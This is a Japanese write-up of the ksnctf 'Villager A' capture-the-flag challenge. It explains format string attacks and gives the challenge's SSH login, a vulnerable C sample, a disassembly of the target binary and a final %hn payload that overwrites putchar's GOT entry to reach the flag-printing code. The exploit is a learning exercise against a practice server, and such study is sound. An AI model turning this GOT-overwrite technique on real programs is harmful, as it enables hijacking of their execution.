ksnctf #4 Villager A
この問題から脆弱性をついてフラグをゲットするような問題が増えてきています。
序盤ながら、ポイントも300ptとなかなか高めです。
ksnctf - 4 Villager A
Problem
SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49
SSHで指定されたサーバーにログインしろってことみたいですね。
Analyze
ちょっと一筋縄ではいかなさそうなので、少しずつやっていきます。
とりあえず実行してみる
とりあえず、SSHでログインしないことには始まらないので早速やってみます。
ssh -p 10022 q4@ctfq.sweetduet.info
んで、ログインしてとりあえず状況を見てみるとこんな感じ。
[q4@localhost ~]$ ls flag.txt q4 readme.txt
ファイルとしては、おそらくフラグが書かれているであろうflag.txt
と実行ファイルのq4
、説明が書いてあるreadme.txt
がありました。
q4
を実行してみます。
[q4@localhost ~]$ ./q4 What's your name? tmsk8219 Hi, tmsk8219 Do you want the flag? yes Do you want the flag? no I see. Good bye. [q4@localhost ~]$
名前を入力して、フラグがほしいか?という質問に対する答えを入力するみたいです。
ちなみに、no
と答えるまでずっと同じ質問が繰り返されます。
脆弱性について
初めて取り組んだときにはサッパリわからなかったので、色々ネットで調べてみると、Format String Attackというのができるみたいです。
Format String Attackとは、以下のようなコードを実行した場合に有効な攻撃です。(参考:書式文字列攻撃 - Wikipedia)
#include<stdio.h> int main(void){ char str[256]; fgets(str, sizeof(str), stdin); printf(str); return 0; }
このようにprintfの中身をprintf("%s", str)
ではなくprintf(str)
と書いてしまうと、
$ echo -e "aaaa %x %x %x %x %x %x %x %x %x %x" | ./a.out aaaa 12068 100 103 40 7c190040 0 0 54a6cab0 0 61616161
書式指定子%x
が与えられるとprintf("%x")
となって、スタックの中身を表示してしまいます。
この場合、スタックの10番目のローカル領域にstr
が格納されていることがわかります。
実際にやってみる
今回のq4
に対してFormat String Attackをかけてみます。
[q4@localhost ~]$ echo -e "aaaa, %x, %x, %x, %x, %x, %x" | ./q4 What's your name? Hi, aaaa, 400, 39d440, 8, 14, af0fc4, 61616161 Do you want the flag?
どうやらスタックの6番目のローカル領域に入力した値が格納されるようです。
次に、これらを踏まえた上で逆アセンブルしてみたいと思います。
[q4@localhost ~]$ objdump -d -M intel q4 q4: file format elf32-i386 Disassembly of section .init: 08048424 <_init>: 8048424: 55 push ebp 8048425: 89 e5 mov ebp,esp 8048427: 53 push ebx 8048428: 83 ec 04 sub esp,0x4 804842b: e8 00 00 00 00 call 8048430 <_init+0xc> ~(略)~ Disassembly of section .plt: 08048454 <__gmon_start__@plt-0x10>: 8048454: ff 35 d4 99 04 08 push DWORD PTR ds:0x80499d4 804845a: ff 25 d8 99 04 08 jmp DWORD PTR ds:0x80499d8 8048460: 00 00 add BYTE PTR [eax],al ... 08048464 <__gmon_start__@plt>: 8048464: ff 25 dc 99 04 08 jmp DWORD PTR ds:0x80499dc 804846a: 68 00 00 00 00 push 0x0 804846f: e9 e0 ff ff ff jmp 8048454 <_init+0x30> 08048474 <putchar@plt>: ←putcharを実行する際呼ばれる・・・① 8048474: ff 25 e0 99 04 08 jmp DWORD PTR ds:0x80499e0 804847a: 68 08 00 00 00 push 0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30> 08048484 <fgets@plt>: 8048484: ff 25 e4 99 04 08 jmp DWORD PTR ds:0x80499e4 804848a: 68 10 00 00 00 push 0x10 804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30> ~(略)~ 080485b4 <main>: 80485b4: 55 push ebp 80485b5: 89 e5 mov ebp,esp 80485b7: 83 e4 f0 and esp,0xfffffff0 80485ba: 81 ec 20 04 00 00 sub esp,0x420 80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04 80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80485dc: 00 80485dd: 8d 44 24 18 lea eax,[esp+0x18] 80485e1: 89 04 24 mov DWORD PTR [esp],eax 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea eax,[esp+0x18] 80485f9: 89 04 24 mov DWORD PTR [esp],eax 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> ←入力された文字列を表示・・・② 8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> ←ここで'\n'を出力している・・・③ 804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04 804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 8048636: 00 8048637: 8d 44 24 18 lea eax,[esp+0x18] 804863b: 89 04 24 mov DWORD PTR [esp],eax 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test eax,eax 8048645: 0f 94 c0 sete al 8048648: 84 c0 test al,al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov eax,0x0 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1 804865d: 08 804865e: 8d 44 24 18 lea eax,[esp+0x18] 8048662: 89 04 24 mov DWORD PTR [esp],eax 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test eax,eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov eax,0x0 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418] 8048688: 85 c0 test eax,eax 804868a: 0f 95 c0 setne al 804868d: 84 c0 test al,al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 ←ここからファイルの中身を表示している・・・④ 8048698: 08 8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax 80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c] 80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80486be: 00 80486bf: 8d 44 24 18 lea eax,[esp+0x18] 80486c3: 89 04 24 mov DWORD PTR [esp],eax 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea eax,[esp+0x18] 80486cf: 89 04 24 mov DWORD PTR [esp],eax 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov eax,0x0 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
実際の処理としては、入力された文字を②で表示した後に③および①で\n
を出力されているようです。
また、④以降ではfopen
を行いフラグを表示する処理を行っているのですが、直前のjmp
やjne
で実行を阻止されています。
そこで、方針としては②でFormat String Attackを使うことによってputchar
を呼び出している③を④を呼び出すように書き換えます。
つまり、本来0x080499e0
が参照している内容を0x08048691に書き換えます。
ここでは、0x080499e0
に下位2バイト(0x86
, 0x91
)、0x080499e2
に上位2バイト(0x08
, 0x04
)を格納します。
(※8 + 34441 = 0x8691, 8 + 34441 + 33139 = 0x0804)
[q4@localhost ~]$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
これでフラグゲットです。
感想とか
個人的にとても難しかったです。メモリについての知識がうろ覚えだったのでネットで転がっているヒントやらを参考に考えました。
正直、自分で答えにたどり着いたというよりはネットに書いてあったことを咀嚼した感の方が強いです。
でも今まで知らなかった書式指定子のh
やn
を知ることができたのは良かったと思います。